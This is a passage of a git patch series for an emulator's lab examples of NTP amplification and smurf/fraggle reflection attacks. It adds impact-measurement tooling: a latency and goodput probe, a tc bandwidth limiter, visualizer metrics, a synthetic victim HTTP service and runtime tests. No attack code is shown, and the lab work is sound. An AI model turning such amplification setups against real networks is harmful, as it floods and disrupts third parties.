zero") + if args.bandwidth_url and ( + args.bandwidth_bytes < 1 + or args.bandwidth_interval <= 0 + or args.bandwidth_timeout <= 0 + ): + parser.error("bandwidth byte count, interval, and timeout must be greater than zero") + + bandwidth_results: SimpleQueue[dict[str, object]] = SimpleQueue() + next_bandwidth_probe = 0.0 + bandwidth_probe_running = False + + def run_bandwidth_probe() -> None: + bandwidth_results.put( + measure_bandwidth( + args.bandwidth_url, + args.bandwidth_bytes, + args.bandwidth_timeout, + ) + ) try: while True: cycle_started = time.monotonic() sample = measure(args.target, args.timeout) + if bandwidth_probe_running: + try: + sample.update(bandwidth_results.get_nowait()) + bandwidth_probe_running = False + next_bandwidth_probe = time.monotonic() + args.bandwidth_interval + except Empty: + pass + if ( + args.bandwidth_url + and not bandwidth_probe_running + and cycle_started >= next_bandwidth_probe + ): + Thread(target=run_bandwidth_probe, daemon=True).start() + bandwidth_probe_running = True try: report(args.report_to, sample, args.timeout) except (HTTPError, URLError, OSError, TimeoutError) as error: diff --git a/tools/TrafficVisualizer/network_control.py b/tools/TrafficVisualizer/network_control.py new file mode 100644 index 000000000..1d253f99d --- /dev/null +++ b/tools/TrafficVisualizer/network_control.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python3 +"""Apply and remove runtime egress bandwidth limits with Linux tc.""" + +from __future__ import annotations + +import argparse +import ipaddress +import json +import subprocess +import sys + + +def run(command: list[str], check: bool = True) -> subprocess.CompletedProcess[str]: + result = subprocess.run(command, capture_output=True, text=True) + if check and result.returncode != 0: + detail = result.stderr.strip() or result.stdout.strip() + raise RuntimeError(f"{' '.join(command)} failed: {detail}") + return result + + +def find_interface(interface: str | None, subnet: str | None) -> str: + if interface: + return interface + + assert subnet is not None + target = ipaddress.ip_network(subnet, strict=False) + links = json.loads(run(["ip", "-j", "-4", "addr", "show"]).stdout) + matches = [] + for link in links: + for address in link.get("addr_info", []): + local = address.get("local") + if local and ipaddress.ip_address(local) in target: + matches.append(link["ifname"]) + break + if len(matches) != 1: + raise RuntimeError( + f"subnet {target} matched {len(matches)} interfaces: {', '.join(matches) or 'none'}" + ) + return matches[0] + + +def add_target(parser: argparse.ArgumentParser) -> None: + target = parser.add_mutually_exclusive_group(required=True) + target.add_argument("--interface", help="interface name, such as eth0") + target.add_argument("--subnet", help="select the interface whose address belongs to this subnet") + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Inspect or change an interface's runtime egress bandwidth limit." + ) + commands = parser.add_subparsers(dest="command", required=True) + + set_parser = commands.add_parser("set", help="replace the root qdisc with a TBF limiter") + add_target(set_parser) + set_parser.add_argument("--rate", required=True, help="tc rate, for example 5mbit") + set_parser.add_argument("--burst", default="64kb", help="TBF burst size") + set_parser.add_argument( + "--queue-latency", + default="100ms", + help="maximum TBF queueing latency; this does not add artificial delay", + ) + + status_parser = commands.add_parser("status", help="show qdisc statistics") + add_target(status_parser) + + clear_parser = commands.add_parser("clear", help="remove the runtime root qdisc") + add_target(clear_parser) + + args = parser.parse_args() + try: + interface = find_interface(args.interface, args.subnet) + if args.command == "set": + run( + [ + "tc", + "qdisc", + "replace", + "dev", + interface, + "root", + "handle", + "1:", + "tbf", + "rate", + args.rate, + "burst", + args.burst, + "latency", + args.queue_latency, + ] + ) + print( + f"limited {interface}: rate={args.rate} burst={args.burst} " + f"queue_latency={args.queue_latency}" + ) + elif args.command == "clear": + result = run(["tc", "qdisc", "del", "dev", interface, "root"], check=False) + if result.returncode != 0 and "No such file" not in result.stderr: + raise RuntimeError(result.stderr.strip() or "could not remove root qdisc") + print(f"cleared runtime limit on {interface}") + else: + print(run(["tc", "-s", "qdisc", "show", "dev", interface]).stdout, end="") + except (RuntimeError, ValueError, json.JSONDecodeError) as error: + print(f"network control error: {error}", file=sys.stderr) + return 1 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/TrafficVisualizer/traffic_visualizer.py b/tools/TrafficVisualizer/traffic_visualizer.py index 8b491a4ad..5fd590998 100644 --- a/tools/TrafficVisualizer/traffic_visualizer.py +++ b/tools/TrafficVisualizer/traffic_visualizer.py @@ -109,10 +109,40 @@ def record(self, payload: dict[str, Any]) -> None: else: latency = None + bandwidth_success = payload.get("bandwidth_success") + throughput = payload.get("throughput_mbps") + downloaded_bytes = payload.get("downloaded_bytes") + if bandwidth_success is None: + throughput = None + downloaded_bytes = None + elif not isinstance(bandwidth_success, bool): + raise ValueError("bandwidth_success must be a boolean") + elif bandwidth_success: + if ( + not isinstance(throughput, (int, float)) + or isinstance(throughput, bool) + or not math.isfinite(throughput) + or throughput < 0 + ): + raise ValueError("a successful bandwidth probe requires throughput_mbps") + if ( + not isinstance(downloaded_bytes, int) + or isinstance(downloaded_bytes, bool) + or downloaded_bytes < 1 + ): + raise ValueError("a successful bandwidth probe requires positive downloaded_bytes") + throughput = round(float(throughput), 3) + else: + throughput = None + downloaded_bytes = int(downloaded_bytes or 0) + sample = { "timestamp_ms": round(time.time() * 1000), "success": success, "latency_ms": latency, + "bandwidth_success": bandwidth_success, + "throughput_mbps": throughput, + "downloaded_bytes": downloaded_bytes, } with self.lock: self.samples.append(sample) @@ -126,7 +156,14 @@ def snapshot(self) -> dict[str, Any]: samples = list(self.samples) successful = [sample for sample in samples if sample["success"]] + bandwidth_samples = [ + sample for sample in samples if sample["bandwidth_success"] is not None + ] + successful_bandwidth = [ + sample for sample in bandwidth_samples if sample["bandwidth_success"] + ] latest = samples[-1] if samples else None + latest_bandwidth = bandwidth_samples[-1] if bandwidth_samples else None return { "sample_count": len(samples), "failure_count": len(samples) - len(successful), @@ -143,6 +180,28 @@ def snapshot(self) -> dict[str, Any]: if latest else None ), + "bandwidth_sample_count": len(bandwidth_samples), + "bandwidth_failure_count": len(bandwidth_samples) - len(successful_bandwidth), + "latest_bandwidth_success": ( + latest_bandwidth["bandwidth_success"] if latest_bandwidth else None + ), + "latest_throughput_mbps": ( + latest_bandwidth["throughput_mbps"] if latest_bandwidth else None + ), + "average_throughput_mbps": ( + round( + sum(sample["throughput_mbps"] for sample in successful_bandwidth) + / len(successful_bandwidth), + 3, + ) + if successful_bandwidth + else None + ), + "last_bandwidth_age_seconds": ( + round(max(0, time.time() - latest_bandwidth["timestamp_ms"] / 1000), 2) + if latest_bandwidth + else None + ), "samples": samples, } diff --git a/tools/TrafficVisualizer/victim_http_service.py b/tools/TrafficVisualizer/victim_http_service.py index 64fd866b8..fca5765e7 100644 --- a/tools/TrafficVisualizer/victim_http_service.py +++ b/tools/TrafficVisualizer/victim_http_service.py @@ -7,35 +7,64 @@ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json from typing import Any -from urllib.parse import urlparse +from urllib.parse import parse_qs, urlparse class Handler(BaseHTTPRequestHandler): + max_bandwidth_bytes = 1024 * 1024 + def do_GET(self) -> None: # noqa: N802 - if urlparse(self.path).path != "/health": - self._send_json(404, {"error": "not found"}) + parsed = urlparse(self.path) + if parsed.path == "/health": + self._send_json(200, {"status": "ok"}) + return + if parsed.path == "/bandwidth": + try: + requested = int(parse_qs(parsed.query).get("bytes", ["0"])[0]) + except ValueError: + requested = 0 + if requested < 1 or requested > self.max_bandwidth_bytes: + self._send_json( + 400, + {"error": f"bytes must be between 1 and {self.max_bandwidth_bytes}"}, + ) + return + self._send_bytes(200, b"0" * requested) return - self._send_json(200, {"status": "ok"}) + self._send_json(404, {"error": "not found"}) def log_message(self, _format: str, *_args: Any) -> None: pass def _send_json(self, status: int, payload: dict[str, Any]) -> None: body = json.dumps(payload).encode("utf-8") + self._send(status, "application/json; charset=utf-8", body) + + def _send_bytes(self, status: int, body: bytes) -> None: + self._send(status, "application/octet-stream", body) + + def _send(self, status: int, content_type: str, body: bytes) -> None: self.send_response(status) - self.send_header("Content-Type", "application/json; charset=utf-8") + self.send_header("Content-Type", content_type) self.send_header("Content-Length", str(len(body))) self.send_header("Cache-Control", "no-store") self.end_headers() - self.wfile.write(body) + try: + self.wfile.write(body) + except (BrokenPipeError, ConnectionResetError): + pass def main() -> int: parser = argparse.ArgumentParser(description="Run a synthetic victim HTTP service.") parser.add_argument("--host", default="0.0.0.0") parser.add_argument("--port", type=int, default=8000) + parser.add_argument("--max-bandwidth-bytes", type=int, default=1024 * 1024) args = parser.parse_args() + if args.max_bandwidth_bytes < 1: + parser.error("--max-bandwidth-bytes must be greater than zero") + Handler.max_bandwidth_bytes = args.max_bandwidth_bytes server = ThreadingHTTPServer((args.host, args.port), Handler) print(f"Victim HTTP service listening on {args.host}:{args.port}", flush=True) try: From c71b8375fba406a384f8e1991a2d3cda3503ad8c Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 15:04:14 +0800 Subject: [PATCH 27/33] improved the layout --- .../Y11_smurf_fraggle_attack/README.md | 2 +- .../Y11_smurf_fraggle_attack/example.yaml | 1 + tools/TrafficVisualizer/dashboard.html | 44 ++++++++++++------- 3 files changed, 30 insertions(+), 17 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 674d9ab06..6a2c2cdd1 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -119,7 +119,7 @@ link. Apply the same runtime rate to the router's victim-facing interface and the victim's response interface. No limit is enabled by default: ```sh -docker compose -f output/docker-compose.yml exec rnode_151_router0 \ +docker compose -f output/docker-compose.yml exec brdnode_151_router0 \ /opt/demo/traffic_visualizer/network_control.py set \ --subnet 10.151.0.0/24 --rate 5mbit diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml index a83ced2dc..e043d9604 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml @@ -35,6 +35,7 @@ runtime: - hnode_151_host_0 - hnode_152_host_0 - hnode_152_host_11 + - brdnode_151_router0 - brdnode_152_router0 - brdnode_2_r101 - brdnode_12_r101 diff --git a/tools/TrafficVisualizer/dashboard.html b/tools/TrafficVisualizer/dashboard.html index e5976d65f..8c19d18a2 100644 --- a/tools/TrafficVisualizer/dashboard.html +++ b/tools/TrafficVisualizer/dashboard.html @@ -9,8 +9,11 @@ :root { --accent: #38bdf8; } body { margin: 0; min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 32px 0; box-sizing: border-box; font-family: system-ui, sans-serif; color: #eaf2ff; background: #08111f; } main { width: 760px; max-width: calc(100% - 32px); text-align: center; } + main.has-extension { width: 1400px; } h1 { margin-bottom: 8px; font-size: 36px; } .subtitle, #status, #scale { color: #91a4ba; } + .dashboard-layout { display: grid; grid-template-columns: minmax(0, 760px); justify-content: center; gap: 24px; align-items: start; } + main.has-extension .dashboard-layout { grid-template-columns: repeat(auto-fit, minmax(min(100%, 620px), 760px)); } .counts { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin: 28px 0; } .card { padding: 30px 18px; border: 1px solid #293a50; border-radius: 14px; background: #111e30; } .label { color: #91a4ba; font-size: 13px; text-transform: uppercase; letter-spacing: .08em; } @@ -27,7 +30,8 @@ button { padding: 9px 14px; border: 1px solid #526a87; border-radius: 8px; color: #eaf2ff; background: #172a42; cursor: pointer; } #status { margin-left: 12px; } #error { margin-top: 18px; color: #fca5a5; } - #demo-extension { margin: 0 0 24px; text-align: left; } + #demo-extension { margin: 28px 0 24px; text-align: left; } + #demo-extension:empty { display: none; } .extension-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(170px, 1fr)); gap: 12px; } .extension-card { padding: 18px; border: 1px solid #293a50; border-radius: 12px; background: #0d1929; } .extension-value { display: block; margin-top: 7px; color: var(--accent); font-size: 24px; font-weight: 700; } @@ -40,22 +44,26 @@

Traffic Visualizer

Packets observed
-
-
Total packets
0
-
Packets last second
0
-
Total IP bytes
0 B
-
IP bytes last second
0 B
+
+
+
+
Total packets
0
+
Packets last second
0
+
Total IP bytes
0 B
+
IP bytes last second
0 B
+
+
+
Live packet flow
+
+
Network
+
+
Victim
+
+
Waiting for packets
+
+
+
-
-
Live packet flow
-
-
Network
-
-
Victim
-
-
Waiting for packets
-
-
Connecting
@@ -169,6 +177,10 @@

Traffic Visualizer

formatBytes, }; invokeExtension('mount', extensionContext); + document.querySelector('main').classList.toggle( + 'has-extension', + extensionContext.root.childElementCount > 0, + ); } catch (error) { document.querySelector('#error').textContent = error.message; } From b8edf88a62dc540f718962091a0685f7c022e55c Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 16:15:46 +0800 Subject: [PATCH 28/33] another round of improvement --- .../Y10_ntp_amplification/README.md | 41 +++-- .../Y10_ntp_amplification/emulator.py | 47 ++++- .../Y10_ntp_amplification/example.yaml | 2 + .../Y10_ntp_amplification/test_runtime.py | 41 +++++ .../traffic_visualizer_config.json | 7 +- .../traffic_visualizer_extension.css | 82 +++++++++ .../traffic_visualizer_extension.js | 163 +++++++++++++++++- .../Y10_ntp_amplification/visualize_attack.py | 142 --------------- .../Y11_smurf_fraggle_attack/README.md | 93 ++-------- .../Y11_smurf_fraggle_attack/emulator.py | 11 +- .../fraggle_monitor.py | 67 ------- .../Y11_smurf_fraggle_attack/smurf_monitor.py | 75 -------- .../Y11_smurf_fraggle_attack/test_runtime.py | 57 +++--- .../visualize_attack.py | 158 ----------------- 14 files changed, 406 insertions(+), 580 deletions(-) delete mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py delete mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py delete mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py delete mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index d067279bc..71e4b79fd 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -16,6 +16,7 @@ The base topology is B00. Y10 adds these roles: - AS150 `host_0`: attacker host, with `/opt/ntp-like/trigger_attack.py`. - AS151 `host_0`: victim host, with a UDP sink on port `9000`. +- AS153 `host_0`: legitimate client that measures the victim HTTP service. - AS152 `host_0`: NTP-like amplifier. - AS160 `host_0`: NTP-like amplifier. - AS171 `host_0`: NTP-like amplifier. @@ -56,8 +57,32 @@ animation. Y10's extension compares the fixed 64-byte request IP packet with the average response IP packet and displays the resulting IP-layer byte amplification as a number and scale. With the default 1,200-byte response payload, the response IP packet is 1,228 bytes and the scale is approximately -19.2x. The extension files live with this example; the capture agent and base -dashboard remain shared in `tools/TrafficVisualizer`. +19.2x. + +AS151 also runs the shared synthetic HTTP service on port `8000`. AS153 probes +its latency five times per second and measures HTTP goodput every five seconds. +The extension shows the service's health, current latency, success rate, +failures, current and average goodput, and separate latency and goodput +timelines. This makes it possible to compare the incoming amplified traffic +with its effect on legitimate users. The extension files remain example-owned; +the capture agent, HTTP service, probe, runtime controls, and base dashboard are +shared in `tools/TrafficVisualizer`. + +### Change capacity at runtime + +Y10 installs the shared link controller on AS151's gateway. No limit is enabled +by default. For example, limit traffic entering the victim network to 15 Mbps: + +```sh +docker compose -f output/docker-compose.yml exec brdnode_151_router0 \ + /opt/ntp-like/traffic_visualizer/network_control.py set \ + --subnet 10.151.0.0/24 --rate 15mbit +``` + +Replace `set --rate 15mbit` with `status` to inspect the queue or `clear` to +remove it. `tc` controls egress from the router's AS151-facing interface, which +is ingress traffic from the victim network's point of view. Attack responses +therefore compete with legitimate inbound requests for the limited bandwidth. ## Build @@ -107,14 +132,6 @@ docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ tail -n 20 /var/log/ntp-like-victim.log ``` -The older terminal monitor is still available when a CLI view is useful. Stop -the UDP sink first because both programs bind port `9000`: - -```sh -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/ntp-like/visualize_attack.py --duration 20 --expected-requests 3 -``` - ## Standard Test Runner This example follows the `examples/sample` pattern: @@ -130,7 +147,9 @@ attacker can reach the victim and one amplifier. The custom runtime test checks: - the attacker, victim, and amplifier containers exist; - the NTP-like daemons are running; - direct queries produce amplified responses; -- the reflection simulation causes the victim UDP sink to receive traffic. +- the reflection simulation causes the victim UDP sink to receive traffic; +- the victim service and router-side runtime link controller are installed; +- the legitimate client reports latency and goodput measurements. ## Safety diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py b/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py index c1abc665f..e0646deeb 100755 --- a/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py @@ -23,11 +23,14 @@ AMPLIFIER_HOSTS = [(152, "host_0"), (160, "host_0"), (171, "host_0")] ATTACKER_HOST = (150, "host_0") VICTIM_HOST = (151, "host_0") +VICTIM_ROUTER = (151, "router0") +LEGITIMATE_CLIENT_HOST = (153, "host_0") NTP_LIKE_DIR = "/opt/ntp-like" TRAFFIC_VISUALIZER_DIR = f"{NTP_LIKE_DIR}/traffic_visualizer" TRAFFIC_VISUALIZER_HOST_PORT = 8081 TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 VICTIM_LOG = "/var/log/ntp-like-victim.log" +VICTIM_SERVICE_PORT = 8000 def parse_args() -> argparse.Namespace: @@ -55,6 +58,11 @@ def get_host(emu: Emulator, asn: int, name: str) -> Node: return base.getAutonomousSystem(asn).getHost(name) +def get_router(emu: Emulator, asn: int, name: str) -> Node: + base = emu.getLayer("Base") + return base.getAutonomousSystem(asn).getRouter(name) + + def install_file(node: Node, local_name: str, remote_name: str) -> None: content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") node.setFile(f"{NTP_LIKE_DIR}/{remote_name}", content) @@ -96,12 +104,21 @@ def install_attacker(node: Node) -> None: node.appendClassName("NtpLikeAttacker") +def install_victim_access_router(node: Node) -> None: + node.addSoftware("python3") + node.addSoftware("iproute2") + prepare_ntp_like_dir(node) + install_traffic_visualizer_file(node, "network_control.py") + node.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/network_control.py") + node.appendClassName("VictimAccessLinkController") + + def install_victim(node: Node) -> None: node.addSoftware("python3") node.addSoftware("tcpdump") prepare_ntp_like_dir(node) install_file(node, "udp_sink.py", "udp_sink.py") - install_file(node, "visualize_attack.py", "visualize_attack.py") + install_traffic_visualizer_file(node, "victim_http_service.py") install_traffic_visualizer_file(node, "traffic_visualizer.py") install_traffic_visualizer_file(node, "dashboard.html") install_file(node, "traffic_visualizer_config.json", "traffic_visualizer/config.json") @@ -119,7 +136,7 @@ def install_victim(node: Node) -> None: node.appendStartCommand(f": > {VICTIM_LOG}") node.appendStartCommand(f"mkdir -p {TRAFFIC_VISUALIZER_DIR}") node.appendStartCommand( - f"chmod +x {NTP_LIKE_DIR}/visualize_attack.py " + f"chmod +x {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" ) node.appendStartCommand( @@ -127,6 +144,11 @@ def install_victim(node: Node) -> None: ">> /var/log/ntp-like-victim-sink.log 2>&1", fork=True, ) + node.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py --port {VICTIM_SERVICE_PORT} " + ">> /var/log/victim-http-service.log 2>&1", + fork=True, + ) node.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " f"--config {TRAFFIC_VISUALIZER_DIR}/config.json " @@ -136,6 +158,25 @@ def install_victim(node: Node) -> None: ) node.appendClassName("NtpLikeVictim") node.appendClassName("TrafficVisualizer") + node.appendClassName("VictimHttpService") + + +def install_legitimate_client(node: Node) -> None: + node.addSoftware("python3") + prepare_ntp_like_dir(node) + install_traffic_visualizer_file(node, "health_probe.py") + node.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/health_probe.py") + node.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " + f"--target http://10.151.0.71:{VICTIM_SERVICE_PORT}/health " + f"--bandwidth-url http://10.151.0.71:{VICTIM_SERVICE_PORT}/bandwidth " + "--interval 0.2 --timeout 0.5 " + "--bandwidth-bytes 262144 --bandwidth-interval 5 --bandwidth-timeout 3 " + f"--report-to http://10.151.0.71:{TRAFFIC_VISUALIZER_CONTAINER_PORT}/api/impact " + ">> /var/log/victim-health-probe.log 2>&1", + fork=True, + ) + node.appendClassName("LegitimateClient") def customize_b00_for_ntp_amplification(emu: Emulator, response_size: int) -> None: @@ -143,7 +184,9 @@ def customize_b00_for_ntp_amplification(emu: Emulator, response_size: int) -> No install_amplifier(get_host(emu, asn, host), response_size) install_attacker(get_host(emu, *ATTACKER_HOST)) + install_victim_access_router(get_router(emu, *VICTIM_ROUTER)) install_victim(get_host(emu, *VICTIM_HOST)) + install_legitimate_client(get_host(emu, *LEGITIMATE_CLIENT_HOST)) def build_y10_emulator(hosts_per_as: int, response_size: int) -> Emulator: diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml index 11e11eebf..5b04100a1 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml +++ b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml @@ -31,6 +31,8 @@ runtime: services: - hnode_150_host_0 - hnode_151_host_0 + - hnode_153_host_0 + - brdnode_151_router0 - hnode_152_host_0 - hnode_160_host_0 - hnode_171_host_0 diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py index 756ec06a6..c74ff7c32 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py @@ -14,6 +14,8 @@ def main() -> int: attacker = test.require_service(150, "host_0", "AS150 attacker host is generated") victim = test.require_service(151, "host_0", "AS151 victim host is generated") + victim_router = test.require_service(151, "router0", "AS151 victim access router is generated") + legitimate_client = test.require_service(153, "host_0", "AS153 legitimate client is generated") amplifier152 = test.require_service(152, "host_0", "AS152 amplifier host is generated") amplifier160 = test.require_service(160, "host_0", "AS160 amplifier host is generated") amplifier171 = test.require_service(171, "host_0", "AS171 amplifier host is generated") @@ -35,6 +37,45 @@ def main() -> int: retries=30, interval=3, ) + test.exec_check( + "victim HTTP service responds", + victim, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8000/health')); " + "assert d['status'] == 'ok', d\"", + retries=30, + interval=2, + ) + if victim_router: + test.exec_check( + "victim access router includes the runtime link controller", + victim_router, + "test -x /opt/ntp-like/traffic_visualizer/network_control.py", + retries=1, + interval=1, + ) + + if legitimate_client: + test.exec_check( + "legitimate client runs the health probe", + legitimate_client, + "ps -ef | grep -F '/opt/ntp-like/traffic_visualizer/health_probe.py' | grep -v grep >/dev/null", + retries=30, + interval=2, + ) + + if victim and legitimate_client: + test.exec_check( + "Traffic Visualizer receives latency and goodput samples", + victim, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/impact')); " + "assert d['sample_count'] >= 2, d; " + "assert d['bandwidth_sample_count'] >= 1, d; " + "assert d['latest_throughput_mbps'] is not None, d\"", + retries=30, + interval=2, + ) if attacker and victim: test.exec_check( diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json index 964ce5185..b36e8f325 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json @@ -3,6 +3,7 @@ "capture_filter": "udp and dst host 10.151.0.71 and dst port 9000", "web_host": "0.0.0.0", "web_port": 8080, + "impact_max_samples": 300, "frontend": { "title": "NTP-Like Amplification", "subtitle": "Amplified UDP responses arriving at the victim", @@ -13,7 +14,11 @@ "amplifiers": "AS152 / AS160 / AS171", "request_payload_bytes": 36, "request_ip_bytes": 64, - "gauge_max_amplification": 20 + "gauge_max_amplification": 20, + "impact_latency_warning_ms": 150, + "impact_stale_seconds": 4, + "impact_chart_max_ms": 500, + "impact_bandwidth_stale_seconds": 12 } } } diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css index 8c7eb6a8f..9014b18af 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css @@ -85,9 +85,91 @@ transition: width 350ms ease; } +.impact-panel { + margin-top: 14px; + padding: 20px; + border: 1px solid #293a50; + border-radius: 12px; + background: #0d1929; +} + +.impact-heading { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; +} + +.impact-heading strong { + display: block; + margin-top: 5px; + font-size: 20px; +} + +.impact-status { + padding: 7px 11px; + border: 1px solid currentColor; + border-radius: 999px; + font-size: 12px; + font-weight: 800; + letter-spacing: .08em; +} + +.impact-status.healthy { color: #4ade80; background: #052e1a; } +.impact-status.degraded { color: #facc15; background: #352a05; } +.impact-status.unreachable { color: #f87171; background: #3f1010; } +.impact-status.waiting { color: #94a3b8; background: #172033; } + +.impact-metrics { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(125px, 1fr)); + gap: 10px; + margin: 18px 0; +} + +.impact-metrics > div { + padding: 14px; + border-radius: 9px; + background: #121f32; +} + +.impact-metrics strong { + display: block; + margin-top: 6px; + color: var(--accent); + font-size: 22px; +} + +.timeline-label { margin-bottom: 8px; } +.bandwidth-label { margin-top: 16px; } + +.probe-timeline { + display: flex; + align-items: end; + gap: 3px; + height: 72px; + padding: 8px; + border-radius: 8px; + background: #081321; +} + +.probe-sample { + flex: 1; + min-width: 3px; + max-width: 18px; + border-radius: 3px 3px 1px 1px; +} + +.probe-sample.success { background: #c084fc; } +.probe-sample.bandwidth-success { background: #4ade80; } +.probe-sample.failure { background: #ef4444; } +.timeline-empty { margin: auto; color: #64748b; font-size: 13px; } + @media (max-width: 560px) { .scale-heading { display: block; } .scale-heading span { display: block; } .scale-heading span + span { margin-top: 4px; } .scale-row { grid-template-columns: 64px 1fr 48px; gap: 8px; } + .impact-metrics { grid-template-columns: 1fr; } + .impact-heading { align-items: flex-start; } } diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js index b58f6c03a..9af21e173 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js @@ -4,6 +4,130 @@ let amplificationValue; let responseBar; let responseScale; + let serviceStatus; + let serviceLatency; + let serviceSuccessRate; + let serviceFailures; + let serviceThroughput; + let serviceAverageThroughput; + let serviceTimeline; + let bandwidthTimeline; + let impactConfig; + + function setStatus(label, className) { + serviceStatus.textContent = label; + serviceStatus.className = `impact-status ${className}`; + } + + function showWaiting() { + setStatus('WAITING', 'waiting'); + serviceLatency.textContent = '--'; + serviceSuccessRate.textContent = '--'; + serviceFailures.textContent = '0'; + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; + serviceTimeline.replaceChildren(); + bandwidthTimeline.replaceChildren(); + const latencyMessage = document.createElement('span'); + latencyMessage.className = 'timeline-empty'; + latencyMessage.textContent = 'Waiting for the legitimate client'; + serviceTimeline.appendChild(latencyMessage); + const bandwidthMessage = document.createElement('span'); + bandwidthMessage.className = 'timeline-empty'; + bandwidthMessage.textContent = 'Waiting for the first bandwidth probe'; + bandwidthTimeline.appendChild(bandwidthMessage); + } + + function updateImpact(impact) { + if (!impact || !impact.sample_count) { + showWaiting(); + return; + } + + const isStale = impact.last_probe_age_seconds > impactConfig.impact_stale_seconds; + const latencyIsHigh = impact.latest_latency_ms >= impactConfig.impact_latency_warning_ms; + const bandwidthIsStale = impact.bandwidth_sample_count + && impact.last_bandwidth_age_seconds > impactConfig.impact_bandwidth_stale_seconds; + if (isStale) { + setStatus('UNREACHABLE', 'unreachable'); + } else if (impact.latest_success === false) { + setStatus('FAILED', 'unreachable'); + } else if ( + impact.success_rate < 100 + || latencyIsHigh + || impact.latest_bandwidth_success === false + || bandwidthIsStale + ) { + setStatus('DEGRADED', 'degraded'); + } else { + setStatus('HEALTHY', 'healthy'); + } + + serviceLatency.textContent = impact.latest_latency_ms === null + ? 'Timeout' + : `${impact.latest_latency_ms.toFixed(1)} ms`; + serviceSuccessRate.textContent = `${impact.success_rate.toFixed(1)}%`; + serviceFailures.textContent = String(impact.failure_count); + if (!impact.bandwidth_sample_count) { + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; + } else { + serviceAverageThroughput.textContent = impact.average_throughput_mbps === null + ? '--' + : `${impact.average_throughput_mbps.toFixed(2)} Mbps`; + if (bandwidthIsStale) { + serviceThroughput.textContent = 'Stale'; + } else if (impact.latest_bandwidth_success === false) { + serviceThroughput.textContent = 'Failed'; + } else { + serviceThroughput.textContent = `${impact.latest_throughput_mbps.toFixed(2)} Mbps`; + } + } + + serviceTimeline.replaceChildren(); + impact.samples.slice(-30).forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.success ? 'probe-sample success' : 